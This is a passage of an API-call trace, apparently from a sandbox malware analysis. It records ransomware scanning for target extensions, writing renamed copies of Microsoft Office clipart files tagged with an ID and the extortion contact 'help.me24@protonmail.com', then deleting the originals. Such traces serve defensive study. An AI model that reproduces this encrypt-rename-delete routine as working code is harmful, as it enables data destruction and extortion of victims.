	[0086.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString=".1cd") returned 4
	[0086.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString=".jpg") returned 4
	[0086.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString=".doc") returned 4
	[0086.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".docx") returned 5
	[0086.036] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0086.036] lstrlenW (lpString=".pdf") returned 4
	[0086.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".xls") returned 4
	[0086.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.036] lstrlenW (lpString=".xlsx") returned 5
	[0086.036] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0086.036] lstrlenW (lpString=".ppt") returned 4
	[0086.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString=".zip") returned 4
	[0086.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.036] lstrlenW (lpString=".rar") returned 4
	[0086.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".bz2") returned 4
	[0086.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".7z") returned 3
	[0086.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.036] lstrlenW (lpString=".dbf") returned 4
	[0086.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.037] lstrlenW (lpString=".1cd") returned 4
	[0086.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0086.037] lstrlenW (lpString=".jpg") returned 4
	[0086.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.037] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.037] lstrlenW (lpString="BS00076_.WMF") returned 12
	[0086.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.358] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1330) returned 1
	[0086.358] CloseHandle (hObject=0x370) returned 1
	[0086.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220
	[0086.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.359] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.359] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.359] GetLastError () returned 0x0
	[0086.359] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x532, lpOverlapped=0x0) returned 1
	[0086.940] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x540, lpOverlapped=0x0) returned 1
	[0086.941] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.941] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.941] SetEndOfFile (hFile=0x37c) returned 1
	[0086.942] CloseHandle (hObject=0x37c) returned 1
	[0086.942] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.942] SetEndOfFile (hFile=0x370) returned 1
	[0086.943] CloseHandle (hObject=0x370) returned 1
	[0086.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1
	[0086.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.945] lstrlenW (lpString=".doc") returned 4
	[0086.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.945] lstrlenW (lpString=".docx") returned 5
	[0086.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.945] lstrlenW (lpString=".pdf") returned 4
	[0086.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.945] lstrlenW (lpString=".xls") returned 4
	[0086.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.945] lstrlenW (lpString=".xlsx") returned 5
	[0086.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.945] lstrlenW (lpString=".ppt") returned 4
	[0086.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.945] lstrlenW (lpString=".zip") returned 4
	[0086.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.946] lstrlenW (lpString=".rar") returned 4
	[0086.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString=".bz2") returned 4
	[0086.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString=".7z") returned 3
	[0086.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.946] lstrlenW (lpString=".dbf") returned 4
	[0086.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.946] lstrlenW (lpString=".1cd") returned 4
	[0086.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.946] lstrlenW (lpString=".jpg") returned 4
	[0086.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.946] lstrlenW (lpString=".doc") returned 4
	[0086.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString=".docx") returned 5
	[0086.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.946] lstrlenW (lpString=".pdf") returned 4
	[0086.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.946] lstrlenW (lpString=".xls") returned 4
	[0086.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.947] lstrlenW (lpString=".xlsx") returned 5
	[0086.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.947] lstrlenW (lpString=".ppt") returned 4
	[0086.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.947] lstrlenW (lpString=".zip") returned 4
	[0086.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.947] lstrlenW (lpString=".rar") returned 4
	[0086.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.947] lstrlenW (lpString=".bz2") returned 4
	[0086.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.947] lstrlenW (lpString=".7z") returned 3
	[0086.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.947] lstrlenW (lpString=".dbf") returned 4
	[0086.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.947] lstrlenW (lpString=".1cd") returned 4
	[0086.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0086.947] lstrlenW (lpString=".jpg") returned 4
	[0086.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.947] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.947] lstrlenW (lpString="BS00174_.WMF") returned 12
	[0086.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.948] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8366) returned 1
	[0086.948] CloseHandle (hObject=0x370) returned 1
	[0086.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220
	[0086.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.948] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.948] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.949] GetLastError () returned 0x0
	[0086.949] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x20ae, lpOverlapped=0x0) returned 1
	[0087.304] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x20b0, lpOverlapped=0x0) returned 1
	[0087.305] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.305] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.305] SetEndOfFile (hFile=0x37c) returned 1
	[0087.305] CloseHandle (hObject=0x37c) returned 1
	[0087.306] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.306] SetEndOfFile (hFile=0x370) returned 1
	[0087.307] CloseHandle (hObject=0x370) returned 1
	[0087.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".doc") returned 4
	[0087.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".docx") returned 5
	[0087.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.626] lstrlenW (lpString=".pdf") returned 4
	[0087.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".xls") returned 4
	[0087.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.626] lstrlenW (lpString=".xlsx") returned 5
	[0087.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.626] lstrlenW (lpString=".ppt") returned 4
	[0087.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".zip") returned 4
	[0087.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.626] lstrlenW (lpString=".rar") returned 4
	[0087.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".bz2") returned 4
	[0087.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString=".7z") returned 3
	[0087.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".dbf") returned 4
	[0087.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".1cd") returned 4
	[0087.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.626] lstrlenW (lpString=".jpg") returned 4
	[0087.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".doc") returned 4
	[0087.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".docx") returned 5
	[0087.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.627] lstrlenW (lpString=".pdf") returned 4
	[0087.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".xls") returned 4
	[0087.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.627] lstrlenW (lpString=".xlsx") returned 5
	[0087.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.627] lstrlenW (lpString=".ppt") returned 4
	[0087.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".zip") returned 4
	[0087.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.627] lstrlenW (lpString=".rar") returned 4
	[0087.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".bz2") returned 4
	[0087.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString=".7z") returned 3
	[0087.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".dbf") returned 4
	[0087.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".1cd") returned 4
	[0087.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0087.627] lstrlenW (lpString=".jpg") returned 4
	[0087.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.628] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.628] lstrlenW (lpString="BS00439_.WMF") returned 12
	[0087.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0088.555] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2052) returned 1
	[0088.555] CloseHandle (hObject=0x320) returned 1
	[0088.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220
	[0088.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.760] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.760] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0088.761] GetLastError () returned 0x0
	[0088.761] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x804, lpOverlapped=0x0) returned 1
	[0088.762] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x810, lpOverlapped=0x0) returned 1
	[0088.763] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.764] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.764] SetEndOfFile (hFile=0x370) returned 1
	[0088.764] CloseHandle (hObject=0x370) returned 1
	[0088.765] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.765] SetEndOfFile (hFile=0x35c) returned 1
	[0088.766] CloseHandle (hObject=0x35c) returned 1
	[0088.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1
	[0088.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.766] lstrlenW (lpString=".doc") returned 4
	[0088.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.766] lstrlenW (lpString=".docx") returned 5
	[0088.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.766] lstrlenW (lpString=".pdf") returned 4
	[0088.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.766] lstrlenW (lpString=".xls") returned 4
	[0088.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.766] lstrlenW (lpString=".xlsx") returned 5
	[0088.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.766] lstrlenW (lpString=".ppt") returned 4
	[0088.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".zip") returned 4
	[0088.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.767] lstrlenW (lpString=".rar") returned 4
	[0088.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString=".bz2") returned 4
	[0088.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString=".7z") returned 3
	[0088.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
